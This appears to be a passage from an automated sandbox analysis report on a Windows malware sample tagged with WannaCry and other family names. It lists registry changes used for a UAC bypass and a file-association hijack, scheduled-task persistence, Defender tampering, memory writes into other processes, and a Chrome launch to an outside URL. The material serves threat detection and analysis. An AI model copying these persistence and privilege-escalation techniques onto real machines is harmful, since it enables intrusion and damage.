2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell\open\command 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\.pdf\ = "PDFBotnet" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4508 schtasks.exe 4620 schtasks.exe 5612 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 432 chrome.exe 432 chrome.exe 1864 powershell.exe 1864 powershell.exe 1864 powershell.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeDebugPrivilege 1864 powershell.exe Token: SeIncreaseQuotaPrivilege 564 WMIC.exe Token: SeSecurityPrivilege 564 WMIC.exe Token: SeTakeOwnershipPrivilege 564 WMIC.exe Token: SeLoadDriverPrivilege 564 WMIC.exe Token: SeSystemProfilePrivilege 564 WMIC.exe Token: SeSystemtimePrivilege 564 WMIC.exe Token: SeProfSingleProcessPrivilege 564 WMIC.exe Token: SeIncBasePriorityPrivilege 564 WMIC.exe Token: SeCreatePagefilePrivilege 564 WMIC.exe Token: SeBackupPrivilege 564 WMIC.exe Token: SeRestorePrivilege 564 WMIC.exe Token: SeShutdownPrivilege 564 WMIC.exe Token: SeDebugPrivilege 564 WMIC.exe Token: SeSystemEnvironmentPrivilege 564 WMIC.exe Token: SeRemoteShutdownPrivilege 564 WMIC.exe Token: SeUndockPrivilege 564 WMIC.exe Token: SeManageVolumePrivilege 564 WMIC.exe Token: 33 564 WMIC.exe Token: 34 564 WMIC.exe Token: 35 564 WMIC.exe Token: 36 564 WMIC.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeIncreaseQuotaPrivilege 564 WMIC.exe Token: SeSecurityPrivilege 564 WMIC.exe Token: SeTakeOwnershipPrivilege 564 WMIC.exe Token: SeLoadDriverPrivilege 564 WMIC.exe Token: SeSystemProfilePrivilege 564 WMIC.exe Token: SeSystemtimePrivilege 564 WMIC.exe Token: SeProfSingleProcessPrivilege 564 WMIC.exe Token: SeIncBasePriorityPrivilege 564 WMIC.exe Token: SeCreatePagefilePrivilege 564 WMIC.exe Token: SeBackupPrivilege 564 WMIC.exe Token: SeRestorePrivilege 564 WMIC.exe Token: SeShutdownPrivilege 564 WMIC.exe Token: SeDebugPrivilege 564 WMIC.exe Token: SeSystemEnvironmentPrivilege 564 WMIC.exe Token: SeRemoteShutdownPrivilege 564 WMIC.exe Token: SeUndockPrivilege 564 WMIC.exe Token: SeManageVolumePrivilege 564 WMIC.exe Token: 33 564 WMIC.exe Token: 34 564 WMIC.exe Token: 35 564 WMIC.exe Token: 36 564 WMIC.exe Token: SeBackupPrivilege 456 vssvc.exe Token: SeRestorePrivilege 456 vssvc.exe Token: SeAuditPrivilege 456 vssvc.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeDebugPrivilege 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 432 chrome.exe Token: SeCreatePagefilePrivilege 432 chrome.exe Token: SeShutdownPrivilege 432 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe 432 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3128 wrote to memory of 432 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 432 wrote to memory of 2816 432 chrome.exe 87 PID 3128 wrote to memory of 1864 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 3128 wrote to memory of 5008 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 89 PID 3128 wrote to memory of 4008 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 3128 wrote to memory of 2384 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 93 PID 3128 wrote to memory of 3824 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 95 PID 3128 wrote to memory of 4288 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 174 PID 3128 wrote to memory of 2172 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 99 PID 3128 wrote to memory of 4676 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 102 PID 3128 wrote to memory of 3424 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 104 PID 3128 wrote to memory of 4356 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 106 PID 432 wrote to memory of 4404 432 chrome.exe 107 PID 432 wrote to memory of 4404 432 chrome.exe 107 PID 432 wrote to memory of 4320 432 chrome.exe 108 PID 3128 wrote to memory of 2904 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 110 PID 432 wrote to memory of 2996 432 chrome.exe 109 PID 432 wrote to memory of 2996 432 chrome.exe 109 PID 432 wrote to memory of 3544 432 chrome.exe 112 PID 432 wrote to memory of 3544 432 chrome.exe 112 PID 432 wrote to memory of 2276 432 chrome.exe 113 PID 432 wrote to memory of 2276 432 chrome.exe 113 PID 432 wrote to memory of 1352 432 chrome.exe 115 PID 432 wrote to memory of 1352 432 chrome.exe 115 PID 3128 wrote to memory of 4780 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 116 PID 3128 wrote to memory of 464 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 118 PID 3128 wrote to memory of 564 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 120 PID 4356 wrote to memory of 556 4356 fodhelper.exe 121 PID 432 wrote to memory of 3180 432 chrome.exe 125 PID 432 wrote to memory of 3180 432 chrome.exe 125 PID 3128 wrote to memory of 5448 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 128 PID 3128 wrote to memory of 4508 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 129 PID 3128 wrote to memory of 4620 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 131 PID 3128 wrote to memory of 1612 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 3128 wrote to memory of 5240 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 3128 wrote to memory of 4688 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 3128 wrote to memory of 5728 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 3128 wrote to memory of 5676 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 3128 wrote to memory of 892 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 3128 wrote to memory of 5512 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 143 PID 3128 wrote to memory of 5440 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 144 PID 3128 wrote to memory of 5612 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 147 PID 3128 wrote to memory of 5556 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 153 PID 3128 wrote to memory of 5692 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 154 PID 3128 wrote to memory of 5732 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 155 PID 3128 wrote to memory of 5856 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 156 PID 3128 wrote to memory of 4052 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 157 PID 3128 wrote to memory of 5888 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 158 PID 3128 wrote to memory of 5892 3128 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe 159 PID 5440 wrote to memory of 268 5440 cmd.exe 166 PID 892 wrote to memory of 6012 892 cmd.exe 167 PID 5512 wrote to memory of 6072 5512 cmd.exe 186 PID 6012 wrote to memory of 6104 6012 net.exe 169 PID 4688 wrote to memory of 4268 4688 cmd.exe 170 PID 5728 wrote to memory of 2340 5728 cmd.exe 171 PID 5676 wrote to memory of 3632 5676 cmd.exe 172 PID 5856 wrote to memory of 3052 5856 net.exe 173 PID 5240 wrote to memory of 4288 5240 cmd.exe 174 PID 5240 wrote to memory of 3740 5240 cmd.exe 175 PID 432 wrote to memory of 2076 432 chrome.exe 176 PID 432 wrote to memory of 4664 432 chrome.exe 190 PID 432 wrote to memory of 4208 432 chrome.exe 191 PID 432 wrote to memory of 6032 432 chrome.exe 192 PID 432 wrote to memory of 6128 432 chrome.exe 204 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://nklcb.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffaa55cc728,0x7ffaa55cc734,0x7ffaa55cc7403⤵PID:2816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,4820196934653613415,3942517645129377339,262144 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1944 /prefetch:23⤵PID:4404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,12878128750099664494,3781972425691657683,524288 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2272 /prefetch:33⤵
- System Time Discovery
PID:4320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2312,i,15080265964899266315,12442613962259947798,524288 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2520 /prefetch:83⤵PID:2996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,8396535155262784095,8590331199545947686,2097152 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:13⤵PID:3544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,387790971104148459,17576511639448645581,2097152 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3284 /prefetch:13⤵PID:2276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4268,i,4246472759580803095,15912303980864324426,2097152 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4336 /prefetch:23⤵PID:1352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4724,i,15259467223898580304,17348208125584466592,2097152 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4748 /prefetch:13⤵PID:3180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3484,i,7829215262245735362,13482633809460490087,524288 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3460 /prefetch:83⤵PID:2076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3260,i,15597497086667234451,5515686803333778646,524288 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4280 /prefetch:83⤵PID:4664
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5060,i,12789103677677306937,3553916482430827849,524288 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5632 /prefetch:83⤵PID:4208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5064,i,13812815636955796584,2425619792793628191,524288 --field-trial-handle=1960,i,10990656020118415460,2066859169090304638,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5668 /prefetch:83⤵PID:6032
-
-
